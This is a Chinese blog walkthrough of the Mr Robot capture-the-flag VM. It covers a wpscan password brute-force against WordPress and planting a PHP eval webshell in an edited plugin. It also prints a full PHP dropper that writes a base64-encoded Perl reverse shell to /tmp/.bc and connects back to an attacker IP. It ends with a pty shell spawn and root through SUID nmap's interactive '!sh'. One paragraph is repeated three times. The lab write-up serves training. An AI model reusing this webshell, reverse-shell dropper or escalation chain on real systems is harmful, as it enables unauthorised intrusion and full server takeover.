前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >黑客技能训练:攻破MrRobot

黑客技能训练:攻破MrRobot

作者头像
lonelyvaf
发布2018-06-07 14:46:07
7380
发布2018-06-07 14:46:07
举报

今天挑战的是Mr Robot。

首先在Nmap扫描之前提一个小技巧。

PPPOE宽带拨号环境下nmap不能直接使用,需要提升权限,要使用-e 参数加上网卡设备名

当前我使用的是无线宽带,通过无线网卡实现通信。

Ipconfig获取我的IP地址

用 nmap –iflist 命令查看网卡接口,相对应的我的网卡是eth6

nmap -sT -p - -T5 -A -v -e eth6192.168.56.101

如果在win使用nmap出现这个状况的朋友记得用这个方法,或者你电脑配置够高的话,用虚拟机搭建个kali就ok了,没有这么多问题。

我们在kali下用nmap对我们的环境进行探测。

发现其开放了三个端口。

用浏览器打开target

搭建完环境后在浏览器打开,就被嫌弃浏览器版本过低了。。

应该是要用google内核的浏览器。换成google浏览器试试~~~

有趣的界面。

不过既然有漏洞就不可能只是这个静态的页面。

习惯性的查看有没有robots.txt文件。

以及右键查看下源代码,这可以很好的帮助你判断这个网站的指纹,是什么cms,用什么脚本语言写的,web容器所处的环境等等。。

发现了

不过貌似没有什么卵用,查询了这个ip,发现应该是调用这个ip的js或者其他的文件。

看看robots,这就更有趣了。我只是输错了一个字符就出现了这个页面。

不过貌似没有什么卵用,查询了这个ip,发现应该是调用这个ip的js或者其他的文件。

看看robots,这就更有趣了。我只是输错了一个字符就出现了这个页面。

不过貌似没有什么卵用,查询了这个ip,发现应该是调用这个ip的js或者其他的文件。

看看robots,这就更有趣了。我只是输错了一个字符就出现了这个页面。

继续输入robots.txt,

发现了这两个文件,key?密码?flag?

访问http://192.168.56.101/key-1-of-3.txt

访问http://192.168.56.101/fsocity.dic

这个应该是个字典,那么我们这时候是不是可以尝试一波了后台破解了?

访问wordpress默认的后台:http://192.168.56.101/wp-login.php

有了,将刚刚的字典下载下来破解。

但是用户名呢?手工尝试看看,发现不存在admin、MrRobot (这个训练平台的名字)

到了这一步,我觉得应该是我信息收集得不够。我继续在前面的页面翻。

后面看了好久,英文不咋的。才知道他要传递的信息

根据他提供的故事发现这个人名:https://en.wikipedia.org/wiki/Elliot在维基百科里面有。

这里用户名填:elliot,密码随意。发现只提示密码错误了。

可以开始爆破了。

下载了一波,可以了。

接着用,wpscan

ruby wpscan.rb -u 192.168.56.101 --threads20 --wordlist ~ /Desktop/fsocity.dic --username Elliot或者(看个人环境而定)

wpscan -u 192.168.56.101 --threads 20--wordlist ~ /Desktop/fsocity.dic --username Elliot

80多w的字典,出去撸了一晚上了跑了50多万。我觉得作为一名ctf赛棍有的觉悟必须要从字典的后半部分开始跑。

果然,我复制了后面的几百条,一跑。。

5秒,密码:ER28-0652

进入后台,getshell就不用kali了,用起来国产菜刀。

通过安装插件出上传打包木马的zip文件getshell

安装失败,那么就插件、已安装的插件、编辑插入一句话木马

我们选择这个插件:all_in_one_seo_pack

备份原来的内容,换成<?php eval($_POST['vaf']);?>

shell相对地址/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.php

尼玛~~

然后上传自己的后门,恢复原来的插件代码,别问ctf为何也要这样,习惯成自然~。

翻目录看到

说明我们这个只是apache用户的权限,robot用户的部分权限。

果然…看下图

我们下载password.raw-md5这个文件,里面的内容是:robot:c3fcd3d76192e4007dfb496cca67e13b

并解密md5得:

abcdefghijklmnopqrstuvwxyz

这时候是时候寄出我的netcat大杀器了。

本地监听666端口:

在webshell执行以下php脚本。将数据转发至本机。

<?php

function which($pr) {

$path = execute("which $pr");

return ($path ? $path : $pr);

}

function execute($cfe) {

$res = '';

if ($cfe) {

if(function_exists('exec')) {

@exec($cfe,$res);

$res = join("\n",$res);

} elseif(function_exists('shell_exec')) {

$res = @shell_exec($cfe);

} elseif(function_exists('system')) {

@ob_start();

@system($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(function_exists('passthru')) {

@ob_start();

@passthru($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(@is_resource($f =@popen($cfe,"r"))) {

$res = '';

while(!@feof($f)) {

$res .= @fread($f,1024);

}

@pclose($f);

}

}

return $res;

}

function cf($fname,$text){

if($fp=@fopen($fname,'w')) {

@fputs($fp,@base64_decode($text));

@fclose($fp);

}

}

$yourip = "192.168.56.101 ";

$yourport = '6688';

$usedb = array('perl'=>'perl','c'=>'c');

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".

"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".

"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".

"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".

"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".

"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".

"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

cf('/tmp/.bc',$back_connect);

$res = execute(which('perl')."/tmp/.bc $yourip $yourport &");

?>

发现无法接受,原来是我连接无线宽带转发不过来,因为不同的网卡,物理机充当网桥连接。

我用kali接收..,因为kali与渗透机器同一网卡,可以通讯。

开了尴尬的是我出去了一趟把虚拟机关了,回来发现ip变了。不过没事。Target变成了192.168.56.102。

我们反弹回来一个半交互的shell

我们切换到robot用户,这个用户的权限比较小,只是robot的一部分权限。

输入命令:python -c 'import pty; pty.spawn("/bin/sh")'

这样获得一个完整的交互式shell

密码是a~z。

接下来也是提权的问题了,因为我们的key3在root目录里面。

Uname –a 获取内核,但是我尝试所有的exp都失败了。

那么这里我们提出一个新的提权思路。

说到这个还是要回归Linux文件权限的问题。Linux除了文件的九个基本权限-rwxrwxrwx,还有文件的特殊权限。就是SUID和SGID以及SBIT。

大致解释一下他们的定义:

SUID含义:文件的该位被设置为1,在该文件被执行时,该文件将以所有者的身份运行,也就是说无论谁来

执行这个文件,他都有文件所有者的特权,如果所有者是root的话,那么执行人就有超级用户

的特权了,这是该位将变成一个安全漏洞,因此不要轻易设置该位。

SGID含义:运行者将具有文件所有组的权限。

SBIT含义: 要求操作系统既是在可执行程序退出后,仍要在内存中保留该程序的映像,这样做是为了节省大

型程序的启动时间,但是会占用系统资源,因此设置该位,不如把程序写好

所以我们就是利用SUID的权限漏洞。

find / -perm -u=s -type f 2>/dev/null

这条命令是查找所有用户有SUID权限的普通文件

找到以上文件。

发现了nmap,低版本的nmap支持“interactive.”选项,用户能够通过该选项执行shell命令,通常,安全人员会使用该命令来避免他们使用nmap命令被记录在history文件中

我们拿到了这个交互的shell了。

Ok,因为nmap有SUID位,所以通过“!sh”我们会获取到一个root权限的shell

”!sh“就是代码由bash shell解释。

已经是root权限了。

下来就是读取flag了。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2016-11-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 晨星先生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档